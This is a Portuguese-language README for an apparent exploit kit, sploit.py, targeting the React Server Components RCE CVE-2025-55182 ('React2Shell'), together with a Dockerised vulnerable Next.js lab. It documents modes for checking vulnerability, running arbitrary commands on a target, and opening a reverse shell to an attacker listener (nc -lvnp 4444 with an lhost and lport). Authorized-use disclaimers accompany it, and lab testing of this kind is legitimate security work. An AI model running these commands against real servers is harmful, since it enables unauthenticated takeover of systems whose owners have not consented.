
Um kit de ferramentas simples para validar, explorar e obter um shell interativo via o RCE react2Shell do Next.js.
[!WARNING] Esta ferramenta é fornecida apenas para testes autorizados e fins educacionais. Acesso não autorizado a redes e exfiltração de dados são ilegais. Os usuários são responsáveis por garantir que possuem autorização adequada antes de usar esta ferramenta em qualquer rede.
Este repositório contém um kit simples para validar, explorar e obter um shell interativo através do CVE-2025-55182, também conhecido como React2Shell. Esta é uma vulnerabilidade crítica de execução remota de código (RCE) pré-autenticação nos React Server Components (RSC), afetando as versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0.
A vulnerabilidade decorre de desserialização insegura no protocolo Flight do React, permitindo que atacantes não autenticados executem código arbitrário em servidores vulneráveis. Ela foi divulgada em 3 de dezembro de 2025 e possui pontuação CVSS de 10.0 (Crítica). Embora afete principalmente os React Server Components, tem implicações para frameworks como Next.js que utilizam RSC.
Nota: Este kit é destinado apenas a fins educacionais e de pesquisa. A exploração não autorizada de vulnerabilidades é ilegal e antiética. Use com responsabilidade e apenas em sistemas que você possua ou para os quais tenha permissão explícita de testar.
Para mais detalhes, consulte os avisos oficiais:
requests, argparse (instale via pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
O script principal é sploit.py. Execute-o com as seguintes opções:
python sploit.py --help
--target <URL>: A URL do alvo (ex.: http://vulnerable-site.com).--mode <validate|sploit|shell>: Modo de operação.
validate: Verifica a vulnerabilidade sem exploração.sploit: Executa um comando personalizado.shell: Estabelece um shell reverso interativo.--command <CMD>: Comando a executar (necessário no modo sploit).--lhost <IP>: Host local para o shell reverso (necessário no modo shell).--lport <PORT>: Porta local para o shell reverso (padrão: 4444).Validar Vulnerabilidade:
python sploit.py --target http://example.com --mode validate
Explorar com Execução de Comando:
python sploit.py --target http://example.com --mode sploit --command "whoami"
Obter Shell Interativo:
Primeiro, configure um listener (ex.: nc -lvnp 4444) e depois:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Para análises técnicas aprofundadas:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
Você terminou. O contêiner inicia em menos de 2 segundos e está pronto para cadeias de poluição de protótipo → RCE.
One-liner opcional para remover e reiniciar a qualquer momento:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Veja o Blog de Segurança da AWS para inteligência de ameaças.
Esta ferramenta é fornecida "como está", sem garantia. O autor não é responsável por qualquer uso indevido ou dano causado por este kit. Sempre obtenha permissão antes de testar vulnerabilidades.
Pull requests são bem-vindos! Para mudanças importantes, por favor abra uma issue primeiro.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para detalhes.
